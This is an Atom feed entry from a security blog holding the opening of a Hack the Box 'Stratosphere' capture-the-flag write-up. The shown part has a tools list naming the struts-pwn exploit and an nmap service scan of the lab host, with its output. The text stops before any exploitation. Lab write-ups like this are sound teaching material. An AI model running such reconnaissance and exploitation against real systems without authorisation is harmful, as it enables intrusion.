<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.5.2">Jekyll</generator><link href="https://dastinia.io/atom.xml" rel="self" type="application/atom+xml" /><link href="https://dastinia.io/" rel="alternate" type="text/html" /><updated>2018-09-01T08:35:05-04:00</updated><id>https://dastinia.io/</id><title type="html">dastinia</title><subtitle>A place to share and offer the highest quality offensive &amp; defensive information security guides, boot2root writeups, and much more to the best of my ability. Also a home to hold my ramblings on anything else that I feel is important...</subtitle><author><name>A Medic (@OnlyaMedic)</name></author><entry><title type="html">Hack the Box - Stratosphere Write up</title><link href="https://dastinia.io/write-up/hackthebox/2018/09/01/hackthebox-stratosphere-writeup/" rel="alternate" type="text/html" title="Hack the Box - Stratosphere Write up" /><published>2018-09-01T00:00:00-04:00</published><updated>2018-09-01T00:00:00-04:00</updated><id>https://dastinia.io/write-up/hackthebox/2018/09/01/hackthebox-stratosphere-writeup</id><content type="html" xml:base="https://dastinia.io/write-up/hackthebox/2018/09/01/hackthebox-stratosphere-writeup/">&lt;p align=&quot;center&quot;&gt;
&lt;img src=&quot;https://dastinia.io/assets/images/htb/stratosphere/1.png&quot; alt=&quot;stratosphere&quot; /&gt;
&lt;/p&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;I don’t have much to say, stratosphere was a great box. Every step to completing this box was extremely logical, and you could pick up tons of neat small little tricks, coupled with a pretty unique priv. esc vector that I’ve never really seen before. Stratosphere overall was an extremely well built box. Hats off to &lt;em&gt;linted&lt;/em&gt; for such a great creation.&lt;/p&gt;

&lt;h2 id=&quot;tools-used&quot;&gt;Tools Used&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://nmap.org/&quot;&gt;Nmap&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://portswigger.net/&quot;&gt;BurpSuite&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.openwall.com/john/&quot;&gt;John the Ripper&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/mazen160/struts-pwn&quot;&gt;struts-pwn&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h2&gt;

&lt;p&gt;Like with every HTB machine, lets begin with an nmap scan against &lt;em&gt;Stratosphere&lt;/em&gt; (10.10.10.64)&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~/htb/stratosphere# nmap -sV -sC -Pn 10.10.10.64 -oA strat
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-30 19:35 EDT
Nmap scan report for 10.10.10.64
Host is up (0.18s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
|   2048 5b:16:37:d4:3c:18:04:15:c4:02:01:0d:db:07:ac:2d (RSA)
|   256 e3:77:7b:2c:23:b0:8d:df:38:35:6c:40:ab:f6:81:50 (ECDSA)
|_  256 d7:6b:66:9c:19:fc:aa:66:6c:18:7a:cc:b5:87:0e:40 (ED25519)
80/tcp   open  http
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.1 404
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 1114
|     Date: Thu, 30 Aug 2018 23:36:02 GMT
|     Connection: close
|     &lt;span class=&quot;cp&quot;&gt;&amp;lt;!doctype html&amp;gt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;lang=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;en&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;&lt;/span&gt;HTTP Status 404
|     Found&lt;span class=&quot;nt&quot;&gt;&amp;lt;/title&amp;gt;&amp;lt;style &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;text/css&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;h1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;font-family&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Tahoma&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Arial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sans-serif&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;white&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;background-color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;#525D76&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;22px&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;h2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;font-family&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Tahoma&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Arial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sans-serif&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;white&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;background-color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;#525D76&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;16px&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;h3&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;font-family&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Tahoma&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Arial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sans-serif&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;white&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;background-color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;#525D76&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;14px&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;body&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;font-family&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Tahoma&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Arial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sans-serif&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;black&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;background-color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;white&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;font-family&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Tahoma&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Arial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sans-serif&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;white&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;background-color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;#525D76&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;font-family&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Tahoma&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Arial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sans-serif&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;background&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;white&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;black&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;12px&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;black&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;.name&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;black&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;.line&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1px&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;background-color&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;#525D76&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;border&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;none&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;}&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;style&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;head&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;   &lt;span class=&quot;nt&quot;&gt;GetRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;nt&quot;&gt;HTTP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;.1&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;200&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;nt&quot;&gt;Accept-Ranges&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;bytes&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;nt&quot;&gt;ETag&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;W&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;1708-1519762495000&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;nt&quot;&gt;Last-Modified&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;Tue&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;27&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;Feb&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;2018&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;:14:55&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;GMT&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;nt&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;html&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;nt&quot;&gt;Content-Length&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;1708&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;nt&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;Thu&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;30&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;Aug&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;2018&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;23&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;:36:01&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;GMT&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;nt&quot;&gt;Connection&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;close&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;&amp;lt;!&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;DOCTYPE&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;html&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;html&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;head&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;meta&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;charset&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;Stratosphere&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;link&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;rel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;stylesheet&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;text/css&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;main.css&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;head&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;div&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;background&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;header&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;main-header&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;hidden&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;div&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;container&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;div&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;content-wrap&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;fa fa-diamond&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;nav&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;nt&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;btn&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;GettingStarted.html&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;Get&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;started&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;nav&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;section&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;greeting&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;div&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;container&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;div&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&quot;content-wrap&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;     &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;h1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;Stratosphere&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;br&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;We&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;protect&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;your&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;credit&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;h1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
